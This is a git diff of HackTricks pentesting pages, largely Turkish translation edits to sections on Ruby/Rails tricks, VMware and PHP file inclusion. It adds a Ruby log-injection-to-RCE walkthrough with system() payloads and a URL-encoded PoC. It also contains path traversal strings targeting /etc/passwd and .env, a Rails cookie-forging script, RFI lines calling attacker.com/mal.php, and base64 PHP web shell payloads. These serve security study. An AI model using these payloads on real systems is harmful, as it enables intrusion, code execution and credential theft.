- Disable or restrict credential-less discovery where feasible
-- Validate trusted paths: yürütmeyi allowlist’lenmiş dizinlerle kısıtlayın (/usr/sbin, /usr/bin, /sbin, /bin) ve sadece tam olarak bilinen ikili dosyalara izin verin
-- Avoid permissive regexes with \S; tercih edin: anchored, explicit absolute paths ve exact command names
-- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) ile etkisini azaltın
+- Validate trusted paths: restrict execution to allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) and only exact known binaries
+- Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names
+- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact
- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths
## Notes for defenders and implementers
@@ -135,7 +135,7 @@ case "$candidate" in
;;
esac
```
-## Kaynaklar
+## Referanslar
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
index ef487b146..7fccd849c 100644
--- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md
+++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
@@ -1,4 +1,4 @@
-# Ruby İpuçları
+# Ruby Püf Noktaları
{{#include ../../banners/hacktricks-training.md}}
@@ -7,8 +7,8 @@
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
İpuçları:
-- Uygulama başlatılırken çalıştırılan diğer boot/eager-load konumları da yazılabilir ise risklidir (ör. `config/initializers/` klasik örnektir). Eğer `config/` altında herhangi bir yere düşen ve sonradan evaluated/required edilen rastgele bir dosya yüklemesi bulursanız, boot sırasında RCE elde edebilirsiniz.
-- Rails'in boot sırasında yükleyeceği container image içine user-controlled dosyalar kopyalayan dev/staging build'leri arayın.
+- Uygulama başlatıldığında çalıştırılan diğer boot/eager-load konumları da yazılabilir olduklarında risklidir (ör. `config/initializers/` klasik örnektir). Eğer `config/` altında herhangi bir yere düşen ve daha sonra evaluate/require edilen rastgele bir dosya yüklemesi bulursanız, boot sırasında RCE elde edebilirsiniz.
+- Rails'in boot sırasında yükleyeceği dosyaları container image içine kopyalayan dev/staging build'lerini arayın.
## Active Storage image transformation → command execution (CVE-2025-24293)
@@ -20,32 +20,32 @@ When an application uses Active Storage with `image_processing` + `mini_magick`,
```
where `params[:t]` and/or `params[:v]` are attacker-controlled.
-- What to try during testing
-- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
-- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
-- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
+- Test sırasında denenecekler
+- variant/processing seçeneklerini, dönüşüm isimlerini veya arbitrary ImageMagick argümanlarını kabul eden endpoint'leri tespit edin.
+- `params[:t]` ve `params[:v]` üzerinde Fuzz yaparak şüpheli hatalar veya yürütme yan etkileri arayın. Eğer metod adını etkileyebiliyor veya MiniMagick'e ulaşan ham argümanlar geçirebiliyorsanız, image processor host üzerinde code exec elde edebilirsiniz.
+- Eğer yalnızca oluşturulan varyantlara okuma erişiminiz varsa, özel ImageMagick işlemleriyle blind exfiltration denemesi yapın.
-- Remediation/detections
-- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
+- Düzeltme/tespitler
+- Eğer Active Storage + `image_processing` + `mini_magick` kullanan ve kullanıcı kontrollü dönüşümlere izin veren Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 görürseniz, bunu exploitable kabul edin. Yükseltme önerin ve yöntem/parametreler için sıkı izin listeleri uygulayın; ayrıca ImageMagick için sert bir policy uygulayın.
## Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
-- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
+- `config.ru` veya middleware yığını içinde `Rack::Static` mount eden uygulamaları arayın. Statik yolların üzerinde encoded traversal deneyin, örneğin:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
-Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
+Ön eki (`prefix`) yapılandırılmış `urls:` ile eşleyecek şekilde ayarlayın. Eğer uygulama dosya içeriği ile yanıt veriyorsa, büyük ihtimalle çözülen `:root` altındaki herhangi bir şeye LFI'niz vardır.
-- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
+- Hafifletme: Rack'i yükseltin; `:root` sadece public dosyaların olduğu bir dizini işaret edecek şekilde açıkça ayarlayın.
-## secret_key_base leaked olduğunda Rails çerezlerini sahteleme/şifre çözme
+## Forging/decrypting Rails cookies when `secret_key_base` is leaked
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
-Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
+Modern çerezleri deşifre etmek, değiştirmek ve yeniden şifrelemek için minimal Ruby (AES-256-GCM, recent Rails'te varsayılan):
```ruby
require 'cgi'
require 'json'
@@ -71,10 +71,10 @@ forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
Notlar:
-- Eski uygulamalar AES-256-CBC ve salt'lar `encrypted cookie` / `signed encrypted cookie`, veya JSON/Marshal serializer'ları kullanıyor olabilir. Saltları, cipher'ı ve serializer'ı buna göre ayarlayın.
-- İhlal/değerlendirme durumunda, tüm mevcut çerezleri geçersiz kılmak için `secret_key_base`'i yenileyin.
+- Eski uygulamalar AES-256-CBC ve tuzlar `encrypted cookie` / `signed encrypted cookie`, veya JSON/Marshal serializer'ları kullanıyor olabilir. Tuzları, cipher ve serializer'ı buna göre ayarlayın.
+- İhlal/değerlendirme durumunda, mevcut tüm cookie'leri geçersiz kılmak için `secret_key_base`'i döndürün.
-## Ayrıca bakınız (Ruby/Rails-özgü zafiyetler)
+## Ayrıca bakınız (Ruby/Rails'e özgü güvenlik açıkları)
- Ruby deserialization and class pollution:
{{#ref}}
@@ -92,9 +92,83 @@ Notlar:
{{#endref}}
+## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
+Bir uygulama (çoğunlukla basit bir Rack/Sinatra/Rails endpoint'i) hem:
+- kullanıcı tarafından kontrol edilen bir dizeyi olduğu gibi logluyor, ve
+- daha sonra aynı dizeden türetilen bir yolun işaret ettiği dosyayı `load` ediyorsa (Pathname#cleanpath sonrası),
+
+Çoğu zaman log'u zehirleyip uygulamayı log dosyasını `load` etmeye zorlayarak remote code execution elde edebilirsiniz. Temel ilkeler:
+
+- Ruby `load`, hedef dosyanın içeriğini dosya uzantısından bağımsız olarak Ruby kodu olarak değerlendirir. İçeriği Ruby olarak parse edilebilen herhangi bir okunabilir metin dosyası çalıştırılacaktır.
+- `Pathname#cleanpath`, dosya sistemi ile etkileşime girmeden `.` ve `..` segmentlerini daraltır; bu, path smuggling'e izin verir: saldırgan kontrollü gereksiz veriler loglama için başa eklenebilirken temizlenmiş yol hâlâ çalıştırılacak hedef dosyaya işaret eder (ör. `../logs/error.log`).
+
+### Minimal zafiyetli desen
+```ruby
+require 'logger'
+require 'pathname'
+
+logger = Logger.new('logs/error.log')
+param = CGI.unescape(params[:script])
+path_obj = Pathname.new(param)
+
+logger.info("Running backup script #{param}") # Raw log of user input
+load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
+```
+### Neden log geçerli Ruby içerebilir
+`Logger` aşağıdaki gibi önek satırları yazar:
+```
+I, [9/2/2025 #209384] INFO -- : Running backup script
+```
+Ruby'de, `#` bir yorum başlatır ve `9/2/2025` sadece aritmetiktir. Geçerli Ruby kodu enjekte etmek için şunları yapmalısınız:
+- Yükünüzü yeni bir satırda başlatın, böylece INFO satırındaki `#` tarafından yorum satırı yapılmaz; başta bir newline gönderin (`\n` veya `%0A`).
+- INFO satırı tarafından açılmış saplanan `[`'i kapatın. Yaygın bir numara `]` ile başlamak ve opsiyonel olarak parser'ı memnun etmek için `][0]=1` kullanmaktır.
+- Ardından rastgele Ruby kodu yerleştirin (ör. `system(...)`).
+
+Hazırlanmış bir parametreyle yapılan tek bir isteğin log'a düşecek hâli için örnek:
+```
+I, [9/2/2025 #209384] INFO -- : Running backup script
+][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
+```
+### Tek bir dizenin hem kodu loglayıp hem de log yoluna çözülmesini kaçırma
+Tek bir saldırgan tarafından kontrol edilen dize istiyoruz ki:
+- ham olarak loglandığında Ruby payload'ımızı içersin, ve
+- `Pathname.new().cleanpath` ile işlendiğinde `../logs/error.log`'e çözülsün; böylece ardından gelen `load` az önce zehirlenmiş log dosyasını çalıştırır.
+
+`Pathname#cleanpath` şemaları yok sayar ve dizin atlama (../) bileşenlerini çökertip sadeleştirir, bu yüzden aşağıdaki işe yarar:
+```ruby
+require 'pathname'
+
+p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
+puts p.cleanpath # => ../logs/error.log
+```
+- `#` karakterinin `://` önünde olması, log yürütüldüğünde Ruby'nin kuyruğu yok saymasını sağlar; `cleanpath` ise son eki hâlâ `../logs/error.log`'a indirger.
+- Öndeki yeni satır INFO satırından çıkar; `]` sarkan köşeli parantezi kapatır; `][0]=1` parser'ı tatmin eder.
+
+### Uçtan uca istismar
+1. Yedekleme betik adı olarak aşağıdakini gönderin (gerekirse ilk yeni satırı `%0A` olarak URL-encode edin):
+```
+\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
+```
+2. Uygulama ham metninizi `logs/error.log`'a yazar.
+3. Uygulama `cleanpath`'i hesaplar; bu `../logs/error.log` olarak çözülür ve üzerinde `load` çağrısı yapar.
+4. Ruby, log'a enjekte ettiğiniz kodu çalıştırır.
+
+CTF benzeri bir ortamda bir dosyayı dışarı çıkarmak için:
+```
+\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
+```
+URL-encoded PoC (ilk karakter newline):
+```
+%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
+```
## Kaynaklar
-- Rails Güvenlik Duyurusu: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
-- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- Rails Güvenlik Duyurusu: CVE-2025-24293 Active Storage güvenli olmayan dönüşüm yöntemleri (7.1.5.2 / 7.2.2.2 / 8.0.2.1'de düzeltildi). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
+- GitHub Uyarısı: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- [Hardware Monitor Dojo-CTF #44: Log Injection ile Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
+- [Ruby Pathname.cleanpath belgeleri](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
+- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
+- [Ruby'de load nasıl çalışır](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
index e523475c7..008059e5e 100644
--- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
+++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
@@ -3,7 +3,7 @@
{{#include ../../banners/hacktricks-training.md}}
-## Keşif
+## Enumeration
```bash
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p
msf> use auxiliary/scanner/vmware/esx_fingerprint
diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md
index 7f6521858..58c234061 100644
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@@ -4,58 +4,58 @@
## File Inclusion
-**Remote File Inclusion (RFI):** Dosya uzak bir sunucudan yüklenir (En iyi: Kodu siz yazabilirsiniz ve sunucu onu çalıştırır). PHP'de bu varsayılan olarak **devre dışıdır** (**allow_url_include**).\
+**Remote File Inclusion (RFI):** Dosya uzak bir sunucudan yüklenir (En iyi: Kodu siz yazarsınız ve sunucu onu çalıştırır). php'de bu varsayılan olarak **devre dışı**dır (**allow_url_include**).\
**Local File Inclusion (LFI):** Sunucu yerel bir dosya yükler.
-Güvenlik açığı, kullanıcı sunucunun yükleyeceği dosyayı bir şekilde kontrol edebildiğinde ortaya çıkar.
+Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.
Etkilenen **PHP fonksiyonları**: require, require_once, include, include_once
-Bir açığı istismar etmek için ilginç bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
+Bu zafiyeti sömürmek için ilginç bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
-## Blind - Interesting - LFI2RCE files
+## Blind - Interesting - LFI2RCE dosyalar
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
-**Birden fazla \*nix LFI listesini birleştirip daha fazla yol ekleyerek bunu oluşturdum:**
+**Birden fazla *nix LFI listesini karıştırıp daha fazla yol ekleyerek bunu oluşturdum:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
-Ayrıca `/`'i `\` ile değiştirmeyi deneyin\
-Ayrıca `../../../../../` eklemeyi deneyin
+Ayrıca `/`'i `\` ile değiştirmeyi dene\
+Ayrıca `../../../../../` eklemeyi dene
-Birden fazla teknik kullanarak /etc/password dosyasını (zafiyetin varlığını kontrol etmek için) bulmaya çalışan bir liste [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) adresinde bulunabilir.
+A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
-Merge of different wordlists:
+Farklı wordlists birleşimi:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
-Ayrıca `/`'i `\` ile değiştirmeyi deneyin\
-Ayrıca `C:/`'yi kaldırıp `../../../../../` eklemeyi deneyin
+Ayrıca `/`'i `\` ile değiştirmeyi dene\
+Ayrıca `C:/`'u kaldırıp `../../../../../` eklemeyi dene
-Birden fazla teknik kullanarak /boot.ini dosyasını (zafiyetin varlığını kontrol etmek için) bulmaya çalışan bir liste [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) adresinde bulunabilir.
+A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
-Linux için LFI listesini kontrol edin.
+Linux için LFI listesine bakın.
-## Basic LFI and bypasses
+## Temel LFI ve bypass'lar
-Tüm örnekler Local File Inclusion içindir ancak Remote File Inclusion için de uygulanabilir (page=[http://myserver.com/phpshellcode.txt\\]().
+Tüm örnekler Local File Inclusion içindir ancak Remote File Inclusion için de uygulanabilir (page=[http://myserver.com/phpshellcode.txt\\]().
```
http://example.com/index.php?page=../../../etc/passwd
```
-### traversal sequences özyinelemeli olmayan şekilde temizlenmiş
+### traversal sequences özyinelemeli olmayan şekilde çıkarıldı
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
-Sağlanan dizenin sonuna eklenen ekstra karakterlerin atlatılması (bypass of: $\_GET\['param']."php")
+Bypass: sağlanan dizenin sonuna eklenen ekstra karakterleri atlatır (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
-Bu **PHP 5.4'ten beri çözülmüştür**
+Bu, **PHP 5.4'ten beri çözüldü**
### **Kodlama**
-Standart dışı kodlamalar kullanabilirsiniz, örn. double URL encode (ve diğerleri):
+double URL encode (and others) gibi standart dışı enkodlamalar kullanabilirsiniz:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Mevcut klasörden
-Belki back-end klasör yolunu kontrol ediyordur:
+Belki arka uç klasör yolunu kontrol ediyordur:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
-### Bir Sunucuda Dosya Sistemi Dizinlerini Keşfetme
+### Sunucuda Dosya Sistemi Dizinlerini Keşfetme
-Bir sunucunun dosya sistemi, yalnızca dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu işlem dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının yoklanmasını içerir. Bunu başarmak için aşağıda ayrıntılı bir yöntem bulunmaktadır:
+Sunucunun dosya sistemi, yalnızca dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli şekilde keşfedilebilir. Bu süreç, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının sorgulanmasını içerir. Aşağıda bunu başarmak için ayrıntılı bir yöntem verilmiştir:
-1. **Dizin Derinliğini Belirleyin:** Sunucunuzun mevcut dizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (sunucu Linux tabanlıysa uygulanır). Örnek bir URL aşağıdaki gibi yapılandırılmış olabilir ve üç katmanlık bir derinliği gösterir:
+1. **Dizin Derinliğini Belirleyin:** Geçerli dizininizin derinliğini, `/etc/passwd` dosyasını başarıyla alarak belirleyin (sunucu Linux tabanlıysa geçerlidir). Örnek bir URL aşağıdaki gibi yapılandırılabilir; bu üç düzeyli bir derinliği gösterir:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
-2. **Klasörleri Sorgulama:** Şüphelenilen klasörün adını (ör. `private`) URL'ye ekleyin, sonra tekrar `/etc/passwd`'e gidin. Ek dizin seviyesi, depth değerini bir artırmayı gerektirir:
+2. **Klasörleri Sorgulayın:** Şüphelenilen klasörün adını (ör. `private`) URL'ye ekleyin, sonra `/etc/passwd`'e geri gidin. Ek dizin seviyesi için derinliği bir artırmanız gerekir:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
-3. **Sonuçları Yorumlayın:** Sunucunun yanıtı klasörün var olup olmadığını gösterir:
-- **Hata / Çıktı Yok:** Klasör `private` muhtemelen belirtilen konumda mevcut değildir.
-- **Contents of `/etc/passwd`:** `private` klasörünün varlığı doğrulanır.
-4. **Yinelemeli Keşif:** Bulunan klasörler aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla sorgulanabilir.
+3. **Sonuçları Yorumlayın:** Sunucunun yanıtı klasörün mevcut olup olmadığını gösterir:
+- **Hata / Çıktı Yok:** Belirtilen konumda `private` klasörü muhtemelen mevcut değildir.
+- **`/etc/passwd` içeriği:** `private` klasörünün varlığı doğrulanır.
+4. **Özyinelemeli Keşif:** Bulunan klasörler aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla araştırılabilir.
-Dosya sisteminin farklı konumlarındaki dizinleri keşfetmek için payload'u buna göre ayarlayın. Örneğin, `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için (mevcut dizin derinliği 3 varsayıldığında) kullanın:
+Dosya sistemindeki farklı konumlardaki dizinleri keşfetmek için payload'u buna göre ayarlayın. Örneğin, `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliğinin 3 olduğunu varsayarsak), kullanın:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
-Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle dosya yollarının sonuna ek karakterler ekleyen belirli güvenlik önlemlerini aşarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildikten sonra bile hedeflenen dosyaya işaret eden bir dosya yolu oluşturmaktır.
+Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ekstra karakterler ekleyen bazı güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile hedeflenen dosyaya işaret eden bir dosya yolu oluşturmaktır.
-In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
+In PHP, dosya sistemi doğası gereği bir dosya yolunun farklı gösterimleri eşdeğer kabul edilebilir. Örneğin:
-- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` ve `/etc/passwd/` aynı yol olarak değerlendirilir.
-- Son 6 karakter `passwd` olduğunda, sonuna `/` eklemek (bunu `passwd/` yapar) hedeflenen dosyayı değiştirmez.
-- Benzer şekilde, bir dosya yoluna `.php` eklenmişse (örn. `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmez.
+- /etc/passwd, /etc//passwd, /etc/./passwd ve /etc/passwd/ aynı yol olarak değerlendirilir.
+- Son 6 karakter `passwd` ise, sonuna `/` eklemek (yani `passwd/` yapmak) hedeflenen dosyayı değiştirmez.
+- Benzer şekilde, bir dosya yoluna `.php` eklendiyse (ör. `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmez.
-Aşağıdaki örnekler, hassas içeriği nedeniyle sıkça hedef olan `/etc/passwd` dosyasına erişmek için path truncation'ın nasıl kullanılacağını gösterir (kullanıcı hesap bilgileri):
+Aşağıdaki örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle sıkça hedef olan /etc/passwd dosyasına erişmek için path truncation kullanımını gösterir:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@@ -125,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
-Bu senaryolarda gereken `../` dizisi sayısı yaklaşık 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına göre değişebilir.
+Bu senaryolarda gerekli traversal sayısı yaklaşık 2027 civarı olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.
-- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
-- **Determining the Required Number of Traversals**: Deneme-yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'e ulaşmak için gereken tam `../` dizisi sayısı bulunabilir; bu sayede eklenmiş stringler (ör. `.php`) etkisizleştirilir ancak hedef yol (`/etc/passwd`) korunur.
-- **Starting with a Fake Directory**: Genellikle yol, var olmayan bir dizinle (örn. `a/`) başlatılır. Bu teknik önlem amaçlı ya da sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.
+- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) ile ekstra nokta segmentleri ve karakterlerin birleştirilmesi, dosya sisteminde gezinmek için kullanılabilir; bu sayede sunucu tarafından eklenen stringler etkisiz hale getirilebilir.
+- **Determining the Required Number of Traversals**: Deneme yanılma ile, kök dizine ve ardından `/etc/passwd`'e ulaşmak için gereken tam `../` dizisinin sayısı bulunabilir; böylece `.php` gibi eklenen stringler nötralize edilirken istenen yol (`/etc/passwd`) korunmuş olur.
+- **Starting with a Fake Directory**: Yola var olmayan bir dizinle (ör. `a/`) başlamamak yaygın bir uygulamadır. Bu teknik, önlem amaçlı veya sunucunun path parsing logic gereksinimlerini karşılamak için kullanılır.
-When employing path truncation techniques, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için genellikle test yapılması gerekir.
+When employing path truncation techniques, sunucunun path parsing davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için genellikle test yapmak gerekir.
**This vulnerability was corrected in PHP 5.3.**
@@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
-php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Off.** Çalışması için **On** olmalıdır; bu durumda sunucunuzdan bir PHP dosyası include ederek RCE elde edebilirsiniz:
+php'te bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Off.** Çalışması için **On** olması gerekir, ve bu durumda sunucunuzdan bir PHP dosyasını include ederek RCE elde edebilirsiniz:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
-Eğer bir sebepten dolayı **`allow_url_include`** **On** ise, ancak PHP harici web sayfalarına erişimi **filtreliyorsa**, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), örneğin data protocol ile base64 kullanarak bir b64 PHP kodunu decode edip RCE elde edebilirsiniz:
+Eğer herhangi bir nedenle **`allow_url_include`** **On** ise, ancak PHP harici web sayfalarına erişimi filtreliyorsa, [bu gönderiye göre](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), örneğin base64 ile data protokolünü kullanarak b64 PHP kodunu dekode edip RCE elde edebilirsiniz:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
-> Önceki kodda, son `+.txt` eklendi çünkü attacker'ın `.txt` ile biten bir stringe ihtiyacı vardı, bu yüzden string onunla bitiyor ve b64 decode işleminden sonra o kısım sadece çöp döndürecek ve gerçek PHP kodu dahil edilecek (ve dolayısıyla, çalıştırılacak).
+> Önceki kodda, son `+.txt` eklendi çünkü attacker'ın `.txt` ile biten bir string'e ihtiyacı vardı; bu yüzden string onunla biter ve b64 decode'dan sonra o kısım sadece çöp döndürecek ve gerçek PHP kodu include edilecek (ve dolayısıyla çalıştırılacak).
-Başka bir örnek **`php://` protokolünü kullanmayan** şöyle olurdu:
+Başka bir örnek **`php://` protokolünü kullanmayan** şöyle olur:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
-## Python Root öğesi
+## Python Kök öğesi
-Aşağıdaki gibi bir python kodunda:
+Python'da aşağıdaki gibi bir kodda:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
-Kullanıcı **`file_name`**'e bir **mutlak dosya yolu** gönderirse, **önceki yol sadece kaldırılır**:
+Kullanıcı **`file_name`**'e bir **absolute path** gönderirse, **önceki yol sadece kaldırılır**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
-Bu, [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)'e göre beklenen davranıştır:
+Bu, [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) kaynağına göre amaçlanan bir davranıştır:
> Eğer bir bileşen mutlak bir yol ise, önceki tüm bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
-## Java Dizin Listeleme
+## Java Dizinleri Listeleme
-Görünüşe göre Java'da bir Path Traversal varsa ve bir dosya yerine **bir dizin isterseniz**, dizinin **içeriği listelenerek döndürülür**. Bu diğer dillerde olmayacaktır (bildiğim kadarıyla).
+Görünüşe göre Java'da bir Path Traversal varsa ve bir dosya yerine **bir dizin talep ediyorsanız**, **dizin listesi döndürülüyor**. Bu diğer dillerde olmayacaktır (bildiğim kadarıyla).
